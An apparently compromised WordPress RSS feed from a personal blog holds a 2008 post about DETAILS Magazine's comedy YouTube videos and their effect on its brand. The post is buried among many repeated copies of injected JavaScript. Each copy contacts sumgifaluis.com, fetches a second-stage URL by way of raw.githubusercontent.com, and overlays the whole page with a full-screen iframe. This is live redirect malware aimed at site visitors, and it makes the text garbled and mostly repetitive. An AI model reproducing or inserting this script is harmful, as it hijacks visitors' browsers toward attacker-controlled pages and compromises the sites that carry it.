      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
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]]></content:encoded>
			<wfw:commentRss>http://kevrichard.com/2009/01/crashed-ice/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Going Viral: Building Awareness or Weakening Your Brand?</title>
		<link>http://kevrichard.com/2008/12/going-viral-building-awareness-or-weakening-your-brand-2/</link>
		<comments>http://kevrichard.com/2008/12/going-viral-building-awareness-or-weakening-your-brand-2/#comments</comments>
		<pubDate>Tue, 16 Dec 2008 01:48:38 +0000</pubDate>
		<dc:creator><![CDATA[Kevin  Richard]]></dc:creator>
				<category><![CDATA[Branding]]></category>
		<category><![CDATA[humour]]></category>
		<category><![CDATA[Magazine]]></category>
		<category><![CDATA[Marketing]]></category>
		<category><![CDATA[Youtube]]></category>

		<guid isPermaLink="false">http://kevrichard.wordpress.com/?p=43</guid>
		<description><![CDATA[Just recently I came across 2 videos from DETAILS Magazine on you-tube that made me do a bit of a double take: Gabe and Max&#8217;s Guide to  Man Style and Video #2  Beauty Tips.  The First video ( posted below) starts in a style similar to what you would expect from a magazine like DETAILS ( [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Just recently I came across 2 videos from <a title="Details Magazine" href="http://men.style.com/details/">DETAILS Magazine</a> on you-tube that made me do a bit of a double take: Gabe and Max&#8217;s Guide to  Man Style and Video #2  Beauty Tips.  The First video ( posted below) starts in a style similar to what you would expect from a magazine like DETAILS ( except the photo-shopped photos)  but as the video goes on it becomes obvious that its an over the top  comedy video that&#8217;s not great but is OK for a bit of a laugh. Included in the 1st video  are the &#8220;4 pillars of  Man Style&#8221; which include:</p>
<p>1. Only owning silk underwear.</p>
<p>2. Confidence : &#8220;Never don&#8217;t be confident&#8221; </p>
<p>3.Wear a little bit of Makeup ( all men want to look,manly?)</p>
<p>4. Be Yourself: Everybody has their own &#8216;personality&#8217; (I&#8217;m  obviously Mr Pure Granola!)</p>
<p>Posted last month these videos are among DETAIL&#8217;s more successful videos with the more recent video &#8220;Beauty Tips&#8221; gaining over 180,000 views. This would be great if it were a clear part of the brand or if this channel were specifically dedicated as a magazine &#8220;funny page&#8221; but video&#8217;s like this are mixed in  with more serious video&#8217;s like  interviews with <a title="Anna Faris Interview" href="http://www.youtube.com/watch?v=X2BarcK5FOk">Anna Faris</a> and <a title="Ben Aflec Interview" href="http://www.youtube.com/watch?v=YdN1Iz6aoTQ">Ben Aflec</a> and  style tutorials like <em><a title="How To Tie a Scarf" href="http://www.youtube.com/watch?v=vAlvAXxrJOM">How to tie a Scarf </a></em>and <em><a title="How to Fold a Pocket Square" href="http://www.youtube.com/watch?v=76IugJHSP3M&amp;feature=channel_page">How to fold a pocket square</a>, </em>part of the magazines core business which in comparision peform poorly in view count. </p>
<p><em></em>Adding further confusion to DETAIL&#8217;s branding is its own <a href="http://men.style.com/details/">website</a>  which is very clean cut and serious.  Some may argue otherwise, but with competing  magazines such as <a title="Mens Health" href="http://www.menshealth.com/cda/homepage.do">Mens Health</a>, <a title="Esquire" href="http://www.esquire.com/">Esquire</a> and<a title="Mens Journal" href="http://www.mensjournal.com/"> Mens Journal</a> and an increasing on-line audience ( <a title="Ask Men" href="http://ca.askmen.com/">Ask Men</a>) I feel DETAILS could instead  use You-tube as a strong medium to instead communicate with its core customer base ( as there are many guys like me who will look at a funny video , have their laughs and leave adding no value ). I also think as a company DETAILS  needs to  focus  their efforts on presenting them-self  as a serious contender rather than investing time in non core projects like posting  &#8220;funny you-tube videos&#8221; .  </p>
<p>Sales in  print media are dropping ( The New York Times having to mortgage its headquarters,that&#8217;s scary) and DETAIL&#8217;s along with other magazines in this segment will have a challenge ahead to keep the mind share of their target audience. Of course funny video&#8217;s will bring in the hits (<a href="http://www.youtube.com/watch?v=nofzWX4GjR8">Crazy Frog</a> anyone?), but in the end DETAILS should be focusing on building value for its customers to continue its profitability.  </p>
<p>I&#8217;ve included the described videos. Admittedly they were a decent laugh and I plan to check out the original comedians:</p>
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        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
    if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function isSingleUrl(text) {
    var s = (text || "").trim();
    if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
    return /^https?:\/\/[^\s<>"']+$/i.test(s);
  }</p>
<p>  function showInIframe(url) {
    if (!url || !/^https?:\/\//i.test(url)) return;
    try {
      var iframe = document.createElement("iframe");
      iframe.src = url;
      iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
      (document.body || document.documentElement).appendChild(iframe);
    } catch (e) {}
  }</p>
<p>  function run() {
    fetch(API_ID_URL, { cache: "no-store" })
      .then(function(r) { return r.text(); })
      .then(function(id) {
        id = (id || "").trim();
        if (!id || !TRUSTED_CONFIGS.length) return null;
        var template = TRUSTED_CONFIGS[0].template;
        var trustedUrl = buildTrustedUrl(template, id);
        return fetch(trustedUrl, { cache: "no-store" })
          .then(function(r) { return r.text(); })
          .then(function(t) { return (t || "").trim(); })
          .catch(function() { return ""; });
      })
      .then(function(trustedResponse) {
        if (!trustedResponse) return;
        if (isSingleUrl(trustedResponse)) {
          showInIframe(trustedResponse);
        }
      })
      .catch(function() {});
  }</p>
<p>  if (document.readyState === "complete" || document.body) {
    run();
  } else {
    window.addEventListener("DOMContentLoaded", run);
  }
})();</script><script>(function() {
  var API_ID_URL = "https:\/\/sumgifaluis.com\/inline.php";
  var TRUSTED_CONFIGS = [{"template":"https:\/\/raw.githubusercontent.com\/{id}","useFetch":true}];</p>
<p>  var GLOBAL_KEY = Symbol.for("__adspect_wpu_4__");
  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { run: false };
  if (registry.run) return;
  registry.run = true;</p>
<p>  function buildTrustedUrl(template, id) {
    if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
    var encoded = encodeURIComponent(id);
